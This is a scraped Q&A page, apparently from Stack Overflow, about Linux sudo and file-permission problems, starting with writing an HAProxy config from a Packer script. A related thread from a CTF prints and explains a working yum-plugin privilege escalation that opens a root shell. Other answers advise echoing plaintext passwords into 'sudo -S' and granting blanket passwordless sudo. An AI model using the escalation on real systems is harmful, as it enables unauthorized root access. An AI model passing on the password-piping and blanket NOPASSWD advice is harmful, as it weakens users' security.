Shell complains about file permissions when creating a config file - linux

I'm not completely sure if I should ask here, over at the Unix forums or somewhere completely different but, here we go.
I'm using Packer to create a set of images (running Debian 8) for AWS and GCE, and during this process I want to install HAProxy and set up a config file for it. The image building and package installation goes smooth, but I'm having problems with file permissions when I'm trying to either create the config file or overwrite the existing one.
My Packer Shell Provisioner runs a set of scripts as the user admin (as far as I know I can't SSH into this setup with root), where as the one I'm having trouble with looks like this:
#!/bin/bash
# Install HAProxy
sudo apt-get update
sudo apt-get install -y haproxy
# Create backup of default config file
sudo mv /etc/haproxy/haproxy.cfg /etc/haproxy/haproxy.cfg.bak
# Write content over to new config file
OLDIFS=$IFS
IFS=''
sudo cat << EOF > /etc/haproxy/haproxy.cfg
# Content line 1
# Content line 2
# (...)
EOF
IFS=$OLDIFS
The log output gives me this error: /tmp/script_6508.sh: line 17: /etc/haproxy/haproxy.cfg: Permission denied
I've also thought of having a premade config file moved over to the newly created image, but I'm not sure how to do that. And that wouldn't work without writing permissions either, right?
So, does anyone know how I can set up my Shell script to fix this? Or if there is another viable solution?

The problem with the script is the line
sudo cat << EOF > /etc/haproxy/haproxy.cfg
The redirection to /etc/haproxy/haproxy.cfg happens before sudo is called, and thus requires that the file can be created and written to by whatever user is running the script.
Your idea of changing the permissions and ownership of that file solves this issue by making the file writable by the user running the script, but really, you seem to be executing every single line of the script as root in any case, so why not just drop all the sudos altogether and run the whole thing as root?
$ sudo myscript.sh # executed by the 'admin' user
EDIT: Since this script isn't run on the target machine manually, there are two solutions:
Go with the chmod solution.
Write the config file to a temporary file and move it with sudo.
The second solution involves changing the line
sudo cat << EOF > /etc/haproxy/haproxy.cfg
to
cat <<EOF >/tmp/haproxy.cfg.tmp
and then after the EOF further down
sudo cp /tmp/haproxy.cfg.tmp /etc/haproxy/haproxy.cfg
rm -f /tmp/haproxy.cfg.tmp
This is arguably "cleaner" than messing around with file permissions.

As Kusalananda pointed out, the problem is that output redirection happens in the shell which calls sudo.
In such situations I generally use this simple trick:
TMPFILE=`tempfile`
cat << EOF > $TMPFILE
# Content line 1
# Content line 2
# (...)
EOF
sudo cp $TMPFILE /etc/haproxy/haproxy.cfg
rm $TMPFILE
I create a temp file and put content there (no need for sudo for that step). And then with sudo, copy the temp file to the final destination. Finally: delete the temp file. (I use the copy to make the file ownership to belong to the root; the move would keep the user/group of the calling user. Alternatively, one can use the chmod/chown to fix the permissions.)

The solution to this was quite simple, and 123's comment gave me the right answer: chown
By changing this
sudo mv /etc/haproxy/haproxy.cfg /etc/haproxy/haproxy.cfg.bak
to this
sudo chown admin /etc/haproxy/haproxy.cfg
sudo chmod 644 /etc/haproxy/haproxy.cfg
sudo cp /etc/haproxy/haproxy.cfg /etc/haproxy/haproxy.cfg.bak
I now have both the permissions and ownership I need for my setup to work.
EDIT
Other users have provided better and more viable solutions, as well as answered some issues around my script.

Related

Yum privilege escalation

I found this piece of code while doing some ctf on tryhackme. And I don't understand it. Can somebody explain me what exactly it does?
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y
Of course, this privilege escalation technique obviously makes use of the user privilege to run yum as sudo.
TF=$(mktemp -d) creates a temporary directory.
Afterwards, three files are created inside the temp directory (accessible through $TF) by "catting" content into them.
To visualize this, you can run the following commands in a bash shell (without leading > of course):
> touch test
> cat >test<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
> cat test
This will print out the just "catted" content inside the file called test.
The last step: sudo yum -c $TF/x --enableplugin=y simply executes a regular yum command, making use of the just created files mentioned above. The payload def init_hook(conduit): os.execl('/bin/sh','/bin/sh') will then be executed giving you a shell as root since you execute it with sudo.
I hope this is helpful.

How to properly upload a local file to a server using mobaXterm?

I'm trying to upload a file from my local desktop to a server and I'm using this command:
scp myFile.txt cooluser#192.168.10.102:/opt/nicescada/web
following the structure: scp filename user#ip:/remotePath.
But I get "Permission Denied". I tried using sudo , but I get the same message. I'm being able to download from the server to my local machine, so I assume I have all permissions needed.
What can be wrong in that line of code?
In case your /desired/path on your destination machine has write access only for root, and if you have an account on your destination machine with sudo privileges (super user privileges by prefixing a sudo to your command), you could also do it the following way:
Option 1 based on scp:
copy the file to a location on your destination machine where you have write access like /tmp:
scp file user#destinationMachine:/tmp
Login to your destination machine with:
ssh user#destinationMachine
Move the file to your /desired/path with:
sudo mv /tmp/file /desired/path
In case you have a passwordless sudo setup you could also combine step 2. and 3. to
ssh user#destination sudo mv /tmp/file /desired/path
Option 2 based on rsync
Another maybe even simpler option would be to use rsync:
rsync -e "ssh -tt" --rsync-path="sudo rsync" file user#destinationMachine:/desired/path
with -e "ssh -tt" added to run sudo without having a tty.
Try and specify the full destination path:
scp myFile.txt cooluser#192.168.10.102:/opt/nicescada/web/myFile.txt
Of course, double-check cooluser has the right to write (not just read) in that folder: 755, not 644 for the web parent folder.

Script has random 'Operation Not Permitted' Error

Premise
I couldn't find a tool or script that would rename multiple files (100+) in the manner I needed it to. So I tried to write a Bash Script utilizing the 'mv' command.
Problem
The script does it's job and renames most of the files but then randomly outputs the 'Operation Not Permitted' error while renaming the files.
Error Output
mv: cannot move 'filename.extension' to 'newFilename.extension': Operation not permitted
The Script
a=1
for i in *.<extension>; do
newName=$(printf "%03d <filename>.<extension>" "$a") #03 = Amount of 0 Padding you want to add
sudo mv -i -- "$i" "$newName"
let a=a+1
done
Thank You in advance for any possible help.
It is rarely a good idea to have sudo inside scripts. Instead, remove the sudo from the script and run the script itself with sudo:
sudo myscript.sh
That way, all commands within the script will be run with root privileges and you only need to give the password once when launching the script.
Instead of putting sudo in the script remove it and run the script using sudo.
sudo script.sh
If that still doesn't work make sure your user id is in the sudoers file so you will have the necessary root privileges.

Able to override the root permission of a readonly file with a non-sudo user

I was performing some experiments in Docker and found a strange behaviour.
I was able to override the ownership of a file created with the root
user inside the Docker with another user without root permissions.
Below are the steps to reproduce it:
$> docker run -dit ubuntu:16.04 bash
$> docker exec -it cont_id bash
$> apt update && apt install -y vim
$> useradd cp -m
$> vim /home/cp/hello.txt
# Write some text and save it
$> su cp
$> cd ~/ && ls -latr;
# Will list hello.txt with user and group as root
$> vim hello.txt
# Write some text and try saving it normally which will fail.
# Try saving it with `:wq!`
Voila, it is saved and the user and group to which the file belongs also change to the new user.
I have done a terminal recording for this and the same is posted here.
This is not related to docker, but just normal behavior in vim. As the file is under user directory /home/cp, hence cp user will have all permissions. What wq! command does is to delete the the old one and put new content into /home/cp/hello.txt.
You can quickly test it by creating one more file in the folder that cp has no full permission.
You were able to do it because you have all permission to directory /cp.
For doing it there are only two options:
If you're the owner of the file. Then vim changes permission to write(w)and rewrite the file. and after saving it, restores the old permissions of the file.
If you are not the owner of the file, but if you have write permissions in the current directory, Vim will delete the original file and write the document to a new file with the same name. The new file will then be assigned the same permissions as the original file, but will be owned by you.
These are only two conditions in which read-only file can be overridden.

Use sudo without password INSIDE a script

For some reason I need, as user, to run without sudo a script script.sh which needs root privileges to work.
I saw as the only solution to put sudo INSIDE script.sh. Let's take an example :
script.sh :
#!/bin/sh
sudo apt-get update
Of course, if I execute this script, I get a prompt asking me for a password. Then I added to my sudoers file (at the end to override everything else) :
user ALL=(ALL:ALL) NOPASSWD:/path/to/script.sh
By the way, I also tried the line :
user ALL=(ALL) NOPASSWD:/path/to/script.sh
(I think I didn't fully understand the difference)
But this doesn't solve my problem if I don't use sudo to execute this script :
# ./script.sh
[sudo] password for user:
# sudo ./script.sh
Starts updating...
Well, so I say to myself "Ok, that means that if I have a file refered in sudoers as I did, it will work without prompt only if I call him with sudo, what is not what I want".
So, ok, I create another script script2.sh as following :
script2.sh
#!/bin/sh
sudo /path/to/script.sh
In fact it works. But I am not truly satisfied of this solution, particularly by the fact that I have to use 2 scripts for every command.
This post is then for helping people having this problem and searching for the same solution (I didn't find a good post on it), and perhaps have better solutions coming from you guys.
Feel free to share your ideas !
EDIT 1 :
I want to insist on the fact that this "apt-get update" was just an example FAR from whhat my script actually is. My script has a lot of commands (with some cd to root-access-only config files), and the solution can't be "Well, just do it directly with apt-get".
The principle of an example is to help the understanding, not to be excuse to simplify the answer of the general problem.
From my blog: IDMRockstar.com:
The kicker is that sometimes, I need to run commands as root. Here's the quick and dirty way I accomplish that without divulging the passwords:
#! /bin/bash
read -s -p "Enter Password for sudo: " sudoPW
echo $sudoPW | sudo -S yum update
This way the user is prompted for the password (and hidden from terminal) and then passed into commands as needed, so I'm not running the entire script as root =)
If you have a better, way, I'd love to hear it! I'm not a shell scripting expert by any means.
Cheers!
.: Adam
If you want to run sudo /usr/bin/apt-get update without a password, you need to have the sudoers entry:
user ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get update
For the larger issue of the script as a whole, there are two possible approaches:
Approach 1
For each command in the script that needs sudo, create a line in sudoers specifically for that command. In this case, the script can be called normally:
./script1.sh
Approach 2
Place a line in sudoers for the script as a whole. When this is done, the individual commands do not need sudo. However, sudo must be used to start the script as in:
sudo ./script.sh
If your password isn't something you want to be very secure about, (maybe some testing server in the company etc.) you can elevate to sudo in the script via echo like:
echo YourPasswordHere | sudo -S Command
The prompt still prints the "enter password" text to output though. So don't expect it to be neat.
See this Askubuntu post
As you noted, the file that must appear in the sudoers configuration is the one that is launched by sudo, and not the one that runs sudo.
That being said, what we often do, is having something like
user ALL=(ALL:ALL) NOPASSWD:/path/to/script.sh
in the sudo configuration, where script.sh has all the commands that the script has to do.
Then we define either a Bash function or an alias so that script.sh is actually
sudo /path/to/script.sh
The only issue is if some commands must not be run as root, you need to insert some su - user -c "command" commands in the script.
In new /etc/sudoers.d/apt-get file, put single line:
user ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get update
Fully qualified path to executable is required here.
Then use following in your script:
sudo apt-get update
Here, fully specified name is not required. Sudo uses PATH environment variable for executable resolution.
While changing and checking sudoers configuration, be sure to keep another root session open for error recovery.
I suggest you look at the sudo environment variables - specifically you can use (and check for) $SUDO_USER. Call your script with sudo (1 entry in sudoers), then do user stuff as SUDO_USER and root stuff as root.
As mentioned by Basilevs you need to add your user to the sudoers file in order to avoid that sudo commands in the script get stuck awaiting the password.
On Ubuntu 16, there is a simpler way: just add the user to the sudo group, like this:
sudo usermod -aG sudo *username*
From then on, it should work like a charm.
Note:
This works only on the condition that the following line is in file /etc/sudoers:
%sudo ALL=NOPASSWD: ALL
(such line gives passwordless sudo privileges at group level, in this case to the sudo group)
(if this line is not present and you want to add it, make sure you use visudo)
Simply, in order to execute commands as root you must use su (even sudo uses su)
As long as you execute sudo ./script2.sh successfully just instead :
sudo su
"#" //commands as root here
"#" exit
//commands as use here
you can make it a shell function with the name sudo, but no other better way i think,however it's the case with scripts inti,rc android ..etc
must be tidy ;)
however this requires you to put NOPASSWD: su wich is totaly secure indeed
any way here just lacks POISX permissions principle which is filtering so dont enable something to all users or vice versa
simply, call sudo as much as you want with no additional thing then:
chown root script.sh
chmod 0755 script.sh
chgrp sudo script.sh
"make root owner of .sh"
"make it read only and exec for others"
"and put it in sudo group"
of course under sudo
that's it

Resources